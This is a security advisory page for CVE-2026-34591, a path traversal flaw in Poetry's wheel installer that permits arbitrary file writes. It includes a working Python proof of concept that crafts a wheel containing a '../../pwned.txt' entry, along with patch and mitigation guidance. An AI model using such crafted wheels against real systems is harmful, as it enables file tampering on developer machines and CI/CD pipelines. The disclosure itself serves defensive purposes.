CVE-2026-34591 — poetry
Fix: python-poetry/poetry@ed59537CVE-2026-34591 is a Path Traversal vulnerability in poetry. A fix is available for poetry — see the affected versions and patch details below.
Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34591.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
poetryReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process.
Impact
Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.
Patches
Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.
Details
Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:
src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59
The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607
No resolve() + is_relative_to() style guard is enforced before writing.
POC
from pathlib import Path
import tempfile, zipfile, sys
from installer import install
from installer.sources import WheelFile
from poetry.installation.wheel_installer import WheelDestination
root = Path(tempfile.mkdtemp(prefix="poetry-poc-"))
wheel = root / "evil-0.1-py3-none-any.whl"
base = root / "venv" / "lib" / "pythonX" / "site-packages"
for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]:
d.mkdir(parents=True, exist_ok=True)
files = {
"evil/__init__.py": b"",
"../../pwned.txt": b"owned\n",
"evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n",
"evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n",
}
files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()
with zipfile.ZipFile(wheel, "w") as z:
for k,v in files.items(): z.writestr(k,v)
dest = WheelDestination(
{"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")},
interpreter=sys.executable, script_kind="posix"
)
with WheelFile.open(wheel) as src:
install(src, dest, {"INSTALLER": b"PoC"})
out = (base / "../../pwned.txt").resolve()
print("outside write:", out.exists(), out)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | poetry | ≥ 1.4.0&&< 2.3.3 | 2.3.3pip install --upgrade 'poetry==2.3.3' |
Affected Products
poetrypython-poetryDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for poetry, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update poetry to 2.3.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34591 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2026-34591 in your dependencies?
Find it across PyPI, including transitive dependencies.